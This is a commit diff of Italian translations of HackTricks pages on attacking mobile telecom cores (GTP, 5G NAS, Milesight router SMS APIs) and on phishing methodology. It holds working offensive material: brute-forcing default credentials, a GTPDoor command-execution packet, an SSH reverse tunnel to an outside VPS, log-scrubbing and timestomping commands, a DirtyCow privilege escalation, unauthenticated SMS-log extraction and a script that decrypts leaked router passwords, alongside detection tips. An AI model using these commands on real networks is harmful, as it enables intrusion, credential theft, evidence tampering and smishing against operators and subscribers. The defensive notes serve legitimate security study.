Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-10-09 00:48:14 +00:00
parent bbd3577d81
commit ba1d3c06a1
2 changed files with 292 additions and 202 deletions

View File

@ -1,27 +1,27 @@
# Sfruttamento delle Reti Telecom (GTP / Ambienti Roaming) # Sfruttamento delle reti telecom (GTP / ambienti di roaming)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> [!NOTE] > [!NOTE]
> I protocolli del core mobile (GPRS Tunnelling Protocol GTP) spesso attraversano backbone di roaming semi-trustati GRX/IPX. Poiché viaggiano su plain UDP con quasi nessuna autenticazione, **qualsiasi foothold all'interno del perimetro telecom può di solito raggiungere direttamente i piani di signalling core**. Le note seguenti raccolgono trucchi offensivi osservati in the wild contro SGSN/GGSN, PGW/SGW e altri nodi EPC. > I protocolli del core mobile (GPRS Tunnelling Protocol GTP) spesso attraversano backbone di roaming GRX/IPX semi-affidabili. Poiché viaggiano su plain UDP con quasi nessuna autenticazione, **qualsiasi foothold all'interno del perimetro telecom può solitamente raggiungere direttamente i piani di segnalazione core**. Le note seguenti raccolgono trucchi offensivi osservati in the wild contro SGSN/GGSN, PGW/SGW e altri nodi EPC.
## 1. Recon & Initial Access ## 1. Ricognizione e Accesso Iniziale
### 1.1 Account OSS / NE Predefiniti ### 1.1 Account OSS / NE di default
Un numero sorprendentemente elevato di elementi di rete dei vendor viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicata aumenta drasticamente il successo del brute-force: Un numero sorprendentemente elevato di vendor elementi di rete viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicata aumenta drasticamente il successo del brute-force:
```bash ```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
``` ```
Se il dispositivo espone solo una management VRF, esegui prima un pivot attraverso un jump host (vedi la sezione «SGSN Emu Tunnel» più sotto). Se il dispositivo espone solo una management VRF, esegui prima un pivot tramite un jump host (vedi la sezione «SGSN Emu Tunnel» qui sotto).
### 1.2 Scoperta degli host all'interno di GRX/IPX ### 1.2 Scoperta degli host all'interno di GRX/IPX
La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le probe UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C: La maggior parte degli operatori GRX permette ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le sonde UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C:
```bash ```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
``` ```
## 2. Enumerating Subscribers `cordscan` ## 2. Enumerazione degli abbonati `cordscan`
Il seguente Go tool crea pacchetti GTP-C Create PDP Context Request e registra le risposte. Ogni risposta rivela l'attuale SGSN / MME che serve l'IMSI interrogato e, talvolta, il PLMN visitato dall'abbonato. Lo strumento Go seguente crea pacchetti **GTP-C Create PDP Context Request** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogato e, talvolta, il PLMN visitato dell'abbonato.
```bash ```bash
# Build # Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -32,7 +32,7 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
Flag principali: Flag principali:
- `--imsi` IMSI dell'abbonato target - `--imsi` IMSI dell'abbonato target
- `--oper` Home / HNI (MCC+MNC) - `--oper` Home / HNI (MCC+MNC)
- `-w` Scrive pacchetti raw in un file pcap - `-w` Scrive pacchetti raw in pcap
Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni: Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni:
``` ```
@ -42,9 +42,9 @@ common_tcp_ports = "22,23,80,443,8080"
``` ```
## 3. Esecuzione di codice su GTP `GTPDoor` ## 3. Esecuzione di codice su GTP `GTPDoor`
`GTPDoor` è un piccolo servizio ELF che **si mette in ascolto sulla porta UDP 2123 e analizza ogni pacchetto GTP-C in ingresso**. Quando il payload inizia con un tag pre-condiviso, il resto viene decifrato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno di messaggi **Echo Response** in modo che non venga mai creata una sessione verso l'esterno. `GTPDoor` è un piccolo servizio ELF che **si lega alla porta UDP 2123 e analizza ogni pacchetto GTP-C in arrivo**. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno dei messaggi **Echo Response** in modo che non venga mai creata una sessione in uscita.
Pacchetto PoC minimo (Python): Minimal PoC packet (Python):
```python ```python
import gtpc, Crypto.Cipher.AES as AES import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!" key = b"SixteenByteKey!"
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
``` ```
Rilevamento: Rilevamento:
* qualsiasi host che invia **unbalanced Echo Requests** agli SGSN IPs * qualsiasi host che invia **unbalanced Echo Requests** agli IP di SGSN
* GTP version flag impostato a 1 mentre message type = 1 (Echo) deviazione dalle specifiche * GTP version flag impostato a 1 mentre message type = 1 (Echo) deviazione dalla specifica
## 4. Pivoting attraverso il Core ## 4. Pivoting attraverso il Core
### 4.1 `sgsnemu` + SOCKS5 ### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un PDP context verso un GGSN/PGW reale**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal roaming peer. `OsmoGGSN` include un emulatore SGSN in grado di **stabilire un PDP context verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal peer di roaming.
```bash ```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d -APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0 ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy microsocks -p 1080 & # internal SOCKS proxy
``` ```
Con un corretto hair-pinning del firewall, questo tunnel bypassa le VLAN riservate alla segnalazione e ti porta direttamente nel **data plane**. Con un corretto firewall hair-pinning, questo tunnel bypassa le signalling-only VLANs e ti porta direttamente nel **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53 ### 4.2 SSH Reverse Tunnel over Port 53
DNS è quasi sempre aperto nelle infrastrutture di roaming. Esponi un servizio SSH interno sul tuo VPS in ascolto su :53 e ricollegati più tardi da casa: Il DNS è quasi sempre aperto nelle infrastrutture in roaming. Esporre un servizio SSH interno sul tuo VPS in ascolto su :53 e rientrare più tardi da casa:
```bash ```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
``` ```
Verifica che `GatewayPorts yes` sia abilitato sul VPS. Verificare che `GatewayPorts yes` sia abilitato sul VPS.
## 5. Covert Channels ## 5. Canali Coverti
| Canale | Trasporto | Decodifica | Note | | Canale | Trasporto | Decodifica | Note |
|---------|-----------|----------|-------| |--------|-----------|-----------|------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | chiave a 4 byte + blocchi da 14 byte (XOR) | listener puramente passivo, nessun traffico in uscita | | ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener puramente passivo, nessun traffico in uscita |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti dell'A-record | monitora il sottodominio `*.nodep` | | DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sottodominio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC in IE private | si miscela con il chatter GTP-C legittimo | | GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | si mimetizza nel traffico GTP legittimo |
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. Tutti gli implants implementano watchdogs che **timestomp** i loro binari e si riavviano se vengono terminati.
## 6. Defense Evasion Cheatsheet ## 6. Cheatsheet per l'Evasione delle Difese
```bash ```bash
# Remove attacker IPs from wtmp # Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux setenforce 0 # disable SELinux
``` ```
## 7. Escalation dei privilegi su NE legacy ## 7. Privilege Escalation su Legacy NE
```bash ```bash
# DirtyCow CVE-2016-5195 # DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -116,76 +116,76 @@ Suggerimento per la pulizia:
userdel firefart 2>/dev/null userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c rm -f /tmp/sh ; history -c
``` ```
## 8. Strumenti ## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections. * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `FScan` : scansione TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`) * `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD * `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging * `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la security NAS non viene attivata tramite Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security abilita molte vie di attacco quando puoi osservare o manomettere il traffico N2 (es. on-path all'interno del core, rogue gNB, o testbed). La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la sicurezza NAS non è attivata tramite Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security permette diversi vettori d'attacco quando puoi osservare o manomettere il traffico N2 (es., on-path all'interno del core, rogue gNB, o testbed).
Registration flow (semplificato): Registration flow (simplified):
- Registration Request: UE invia SUCI (SUPI cifrato) e capability. - Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF inviano RAND/AUTN; UE ritorna RES*. - Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: negozia e attiva integrità e cifratura NAS. - Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: setup IP/QoS. - PDU Session Establishment: IP/QoS setup.
Suggerimenti per laboratorio (non-RF): Lab setup tips (non-RF):
- Core: una deployment default di Open5GS è sufficiente per riprodurre i flussi. - Core: Open5GS default deployment is sufficient to reproduce flows.
- UE: simulator o test UE; decodifica con Wireshark. - UE: simulator or test UE; decode using Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Filtri utili in Wireshark: - Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage) - ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Privacy degli identificatori: fallimenti SUCI che espongono SUPI/IMSI ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Atteso: UE/USIM deve trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato. Aspettativa: UE/USIM devono trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato.
Come testare: Come testare:
- Cattura il primo messaggio NAS in InitialUEMessage e ispeziona il Mobile Identity IE. - Cattura il primo messaggio NAS in InitialUEMessage e ispeziona il Mobile Identity IE.
- Controlli rapidi con Wireshark: - Controlli rapidi in Wireshark:
- Dovrebbe decodificare come SUCI, non come IMSI. - Dovrebbe decodificare come SUCI, non IMSI.
- Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe essere presente; l'assenza di questo insieme alla presenza di `imsi` indica esposizione. - Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe esistere; l'assenza insieme alla presenza di `imsi` indica leakage.
Cosa raccogliere: Cosa raccogliere:
- MCC/MNC/MSIN se esposti; registra per-UE e traccia nel tempo/luoghi. - MCC/MNC/MSIN se esposti; loggare per-UE e tracciare nel tempo/luoghi.
Mitigazione: Mitigazione:
- Forzare UEs/USIMs a usare solo SUCI; allertare su qualsiasi IMSI/SUPI presente nel NAS iniziale. - Forzare UEs/USIMs a usare solo SUCI; alert su qualsiasi IMSI/SUPI nella initial NAS.
### 9.2 Declassamento delle capability verso algoritmi nulli (EEA0/EIA0) ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Contesto: Background:
- L'UE pubblicizza le EEA (encryption) e EIA (integrity) supportate nell'UE Security Capability IE della Registration Request. - L'UE annuncia le EEA (encryption) e EIA (integrity) supportate nel UE Security Capability IE della Registration Request.
- Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi nulli. - Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi null.
Problema: Problema:
- Poiché la Registration Request non è protetta in integrità, un attacker on-path può azzerare i bit delle capability per forzare la selezione di EEA0/EIA0 più tardi durante il Security Mode Command. Alcuni stack permettono erroneamente algoritmi nulli anche fuori dai servizi di emergenza. - Poiché la Registration Request non è protetta in integrità, un attaccante on-path può azzerare i bit di capability per costringere la selezione di EEA0/EIA0 più tardi durante Security Mode Command. Alcuni stack permettono erroneamente algoritmi null anche al di fuori dei servizi di emergenza.
Passi offensivi: Passi offensivi:
- Intercetta InitialUEMessage e modifica il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0. - Intercetta InitialUEMessage e modifica il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0.
- Con Sni5Gect, aggancia il messaggio NAS e patcha i bit di capability prima di inoltrarlo. - Con Sni5Gect, aggancia il messaggio NAS e patcha i bit di capability prima di inoltrarlo.
- Osserva se l'AMF accetta cipher/integrità null e completa il Security Mode con EEA0/EIA0. - Osserva se l'AMF accetta null ciphers/integrity e completa Security Mode con EEA0/EIA0.
Verifica/visibilità: Verifica/visibilità:
- In Wireshark, conferma gli algoritmi selezionati dopo Security Mode Command/Complete. - In Wireshark, conferma gli algoritmi selezionati dopo Security Mode Command/Complete.
- Esempio di output di un sniffer passivo: - Example passive sniffer output:
``` ```
Encyrption in use [EEA0] Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2] Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001 SUPI (MCC+MNC+MSIN) 9997000000001
``` ```
Mitigazioni (obbligatorie): Mitigazioni (obbligatorie):
- Configura AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente obbligatorio (es., chiamate di emergenza). - Configurare AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente richiesto (es. chiamate di emergenza).
- Preferire l'imposizione di EEA2/EIA2 come minimo; registrare e generare allarmi per qualsiasi NAS security context che negozia algoritmi null. - Preferire l'applicazione di EEA2/EIA2 come minimo; registrare e generare allarmi per qualsiasi contesto di sicurezza NAS che negozia null algorithms.
### 9.3 Replay of initial Registration Request (pre-security NAS) ### 9.3 Replay della initial Registration Request (NAS pre-security)
Poiché il NAS iniziale manca di integrità e freschezza, un InitialUEMessage+Registration Request catturato può essere replayed verso AMF. Poiché il NAS iniziale manca di integrità e freshness, InitialUEMessage+Registration Request catturati possono essere replayed all'AMF.
PoC rule for 5GReplay to forward matching replays: Regola PoC per 5GReplay per inoltrare i replay corrispondenti:
```xml ```xml
<beginning> <beginning>
<property value="THEN" <property value="THEN"
@ -209,30 +209,89 @@ boolean_expression="nas_5g.message_type == 65"/>
</beginning> </beginning>
``` ```
Cosa osservare: Cosa osservare:
- Se AMF accetta il replay e procede con Authentication; la mancanza di validazione di freshness o del binding del contesto indica esposizione. - Whether AMF accepts the replay and proceeds to Authentication; la mancanza di validazione di freschezza/contesto indica esposizione.
Mitigazioni: Mitigazioni:
- Imporre replay protection / binding del contesto sull'AMF; rate-limitare e correlare per-GNB/UE. - Enforce replay protection/context binding sull'AMF; impostare rate-limit e correlare per-GNB/UE.
### 9.4 Tooling pointers (reproducible) ### 9.4 Tooling pointers (reproducible)
- Open5GS: avviare un AMF/SMF/UPF per emulare il core; osservare N2 (NGAP) e NAS. - Open5GS: avviare un AMF/SMF/UPF per emulare il core; osservare N2 (NGAP) e NAS.
- Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registration. - Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registrazione.
- 5GReplay: catturare una registration, poi riprodurre specifici messaggi NGAP + NAS secondo la regola. - 5GReplay: catturare una registrazione, poi replay di specifici messaggi NGAP + NAS come da regola.
- Sni5Gect: sniff/modify/inject in tempo reale il control-plane NAS per forzare algoritmi null o perturbare le sequenze di Authentication. - Sni5Gect: sniff/modify/inject in tempo reale del control-plane NAS per costringere null algorithms o perturbare le sequenze di autenticazione.
### 9.5 Defensive checklist ### 9.5 Defensive checklist
- Ispezionare continuamente le Registration Request per SUPI/IMSI in chiaro; bloccare i dispositivi/USIM non conformi. - Ispezionare continuamente il Registration Request per SUPI/IMSI in chiaro; bloccare i dispositivi/USIMs responsabili.
- Rifiutare EEA0/EIA0 eccetto per procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2. - Rifiutare EEA0/EIA0 eccetto per procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2.
- Rilevare infrastrutture rogue o mal configurate: gNB/AMF non autorizzati, peer N2 inattesi. - Rilevare infrastrutture rogue o mal configurate: gNB/AMF non autorizzati, peer N2 inattesi.
- Generare alert su NAS security modes che risultano in algoritmi null o frequenti replay di InitialUEMessage. - Generare alert sulle modalità di sicurezza NAS che portano a null algorithms o a frequenti replay di InitialUEMessage.
--- ---
## Idee per la rilevazione
## 10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
L'abuso delle web API esposte dei router cellulari industriali consente smishing stealthy, apparentemente di origine carrier, su larga scala. I router Milesight della serie UR espongono un endpoint in stile JSON-RPC in `/cgi`. Se mal configurata, l'API può essere interrogata senza autenticazione per elencare inbox/outbox SMS e, in alcune implementazioni, per inviare SMS.
Richieste tipiche non autenticate (stessa struttura per inbox/outbox):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
Le risposte includono campi come `timestamp`, `content`, `phone_number` (E.164) e `status` (`success` o `failed`). Invii ripetuti con `failed` allo stesso numero sono spesso controlli di capacità dell'attaccante (“capability checks”) per verificare che un router/SIM possa consegnare prima di invii massivi.
Esempio di curl per exfiltrate SMS metadata:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
Note sugli artefatti di auth:
- Parte del traffico può includere un auth cookie, ma una larga parte dei dispositivi esposti risponde senza alcuna autenticazione a `query_inbox`/`query_outbox` quando l'interfaccia di gestione è esposta su Internet.
- In ambienti che richiedono auth, previously-leaked credentials (see below) ripristinano l'accesso.
Credential recovery path CVE-2023-43261:
- Famiglie interessate: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Problema: i log serviti via web (es., `httpd.log`) sono raggiungibili senza autenticazione sotto `/lang/log/` e contengono eventi di login admin con la password cifrata usando una chiave/IV AES hardcoded presente nel JavaScript client-side.
- Accesso pratico e decifratura:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
Script Python minimale per decifrare leaked passwords (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Hunting e idee per il rilevamento (network):
- Allertare su richieste non autenticate `POST /cgi` il cui corpo JSON contiene `base`/`function` impostati su `query_inbox` o `query_outbox`.
- Monitorare ripetute serie di `POST /cgi` seguite da voci `status":"failed"` su molti numeri unici provenienti dallo stesso IP sorgente (capability testing).
- Inventariare i router Milesight esposti su Internet; limitare la gestione via VPN; disabilitare le funzionalità SMS salvo necessità; aggiornare a ≥ v35.3.0.7; ruotare le credenziali e controllare i log SMS per invii sconosciuti.
Shodan/OSINT pivots (esempi osservati sul campo):
- `http.html:"rt_title"` corrisponde ai pannelli dei router Milesight.
- Google dorking per log esposti: `"/lang/log/system" ext:log`.
Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.
---
## Idee per il rilevamento
1. **Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce Create PDP Context Requests**. 1. **Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce Create PDP Context Requests**.
2. **Porte non standard (53, 80, 443) che ricevono SSH handshakes** da IP interni. 2. **Porte non standard (53, 80, 443) che ricevono SSH handshakes** da IP interni.
3. **Frequent Echo Requests senza corrispondenti Echo Responses** potrebbero indicare beacon GTPDoor. 3. **Echo Requests frequenti senza corrispondenti Echo Responses** potrebbero indicare beacon GTPDoor.
4. **Alto tasso di traffico ICMP echo-reply con campi identifier/sequence grandi e non-zero**. 4. **Alto tasso di traffico ICMP echo-reply con campi identifier/sequence grandi e non nulli**.
5. 5G: **InitialUEMessage che trasporta NAS Registration Requests ripetute dallo stesso endpoint** (segnale di replay). 5. 5G: **InitialUEMessage che trasporta NAS Registration Requests ripetute dagli stessi endpoint** (segnale di replay).
6. 5G: **NAS Security Mode che negozia EEA0/EIA0** al di fuori di contesti di emergenza. 6. 5G: **NAS Security Mode che negozia EEA0/EIA0** al di fuori di contesti di emergenza.
## References ## References
@ -243,5 +302,8 @@ Mitigazioni:
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System - 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,19 +1,19 @@
# Phishing Methodology # Metodologia del Phishing
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Metodologia ## Metodologia
1. Recon the victim 1. Ricognizione della vittima
1. Seleziona il **dominio della vittima**. 1. Seleziona il **dominio della vittima**.
2. Esegui una enumerazione web di base **cercando portali di login** usati dalla vittima e **decidi** quale impersonare. 2. Esegui una enumerazione web di base **cercando portali di login** usati dalla vittima e **decidi** quale andrai a **impersonare**.
3. Usa OSINT per **trovare indirizzi email**. 3. Usa **OSINT** per **trovare indirizzi email**.
2. Prepara l'ambiente 2. Prepara l'ambiente
1. **Compra il dominio** che userai per la valutazione di phishing 1. **Compra il dominio** che utilizzerai per l'attività di phishing
2. **Configura i record** correlati al servizio email (SPF, DMARC, DKIM, rDNS) 2. **Configura il servizio email** e i record correlati (SPF, DMARC, DKIM, rDNS)
3. Configura il VPS con **gophish** 3. Configura il VPS con **gophish**
3. Prepara la campagna 3. Prepara la campagna
1. Prepara il **template dell'email** 1. Prepara il **modello email**
2. Prepara la **pagina web** per rubare le credenziali 2. Prepara la **pagina web** per rubare le credenziali
4. Lancia la campagna! 4. Lancia la campagna!
@ -21,23 +21,23 @@
### Domain Name Variation Techniques ### Domain Name Variation Techniques
- **Keyword**: Il nome di dominio **contiene** una parola chiave importante del dominio originale (es., zelster.com-management.com). - **Keyword**: Il nome di dominio **contiene** un'importante **keyword** del dominio originale (e.g., zelster.com-management.com).
- **hypened subdomain**: Sostituisci il **punto con un trattino** in un sottodominio (es., www-zelster.com). - **hypened subdomain**: Sostituisci il **punto con un trattino** di un sottodominio (e.g., www-zelster.com).
- **New TLD**: Stesso dominio usando una **nuova TLD** (es., zelster.org) - **New TLD**: Stesso dominio usando una **new TLD** (e.g., zelster.org)
- **Homoglyph**: Sostituisce una lettera nel nome di dominio con **caratteri dall'aspetto simile** (es., zelfser.com). - **Homoglyph**: Sostituisce una lettera nel nome di dominio con **lettere che sembrano simili** (e.g., zelfser.com).
{{#ref}} {{#ref}}
homograph-attacks.md homograph-attacks.md
{{#endref}} {{#endref}}
- **Transposition:** Scambia due lettere all'interno del nome di dominio (es., zelsetr.com). - **Transposition:** Scambia due lettere all'interno del nome di dominio (e.g., zelsetr.com).
- **Singularization/Pluralization**: Aggiunge o rimuove una “s” alla fine del nome di dominio (es., zeltsers.com). - **Singularization/Pluralization**: Aggiunge o rimuove la “s” alla fine del nome di dominio (e.g., zeltsers.com).
- **Omission**: Rimuove una delle lettere dal nome di dominio (es., zelser.com). - **Omission**: Rimuove una delle lettere dal nome di dominio (e.g., zelser.com).
- **Repetition:** Ripete una delle lettere nel nome di dominio (es., zeltsser.com). - **Repetition:** Ripete una delle lettere nel nome di dominio (e.g., zeltsser.com).
- **Replacement**: Simile all'homoglyph ma meno stealthy. Sostituisce una delle lettere nel nome di dominio, magari con una lettera vicina sulla tastiera (es., zektser.com). - **Replacement**: Simile a homoglyph ma meno stealthy. Sostituisce una delle lettere nel nome di dominio, magari con una lettera vicina sulla tastiera (e.g, zektser.com).
- **Subdomained**: Introduce un **punto** all'interno del nome di dominio (es., ze.lster.com). - **Subdomained**: Introduce un **punto** all'interno del nome di dominio (e.g., ze.lster.com).
- **Insertion**: Inserisce una lettera nel nome di dominio (es., zerltser.com). - **Insertion**: Inserisce una lettera nel nome di dominio (e.g., zerltser.com).
- **Missing dot**: Aggiunge la TLD direttamente al nome di dominio. (es., zelstercom.com) - **Missing dot**: Appende la TLD al nome di dominio. (e.g., zelstercom.com)
**Automatic Tools** **Automatic Tools**
@ -52,20 +52,20 @@ homograph-attacks.md
### Bitflipping ### Bitflipping
Esiste la **possibilità che uno o più bit memorizzati o in comunicazione vengano invertiti automaticamente** a causa di vari fattori come brillamenti solari, raggi cosmici o errori hardware. Esiste la **possibilità che uno o più bit memorizzati o in comunicazione vengano automaticamente invertiti** a causa di vari fattori come eruzioni solari, raggi cosmici o errori hardware.
Quando questo concetto viene **applicato alle richieste DNS**, è possibile che il **dominio ricevuto dal server DNS** non sia lo stesso del dominio inizialmente richiesto. Quando questo concetto è **applicato alle richieste DNS**, è possibile che il **dominio ricevuto dal server DNS** non sia lo stesso del dominio inizialmente richiesto.
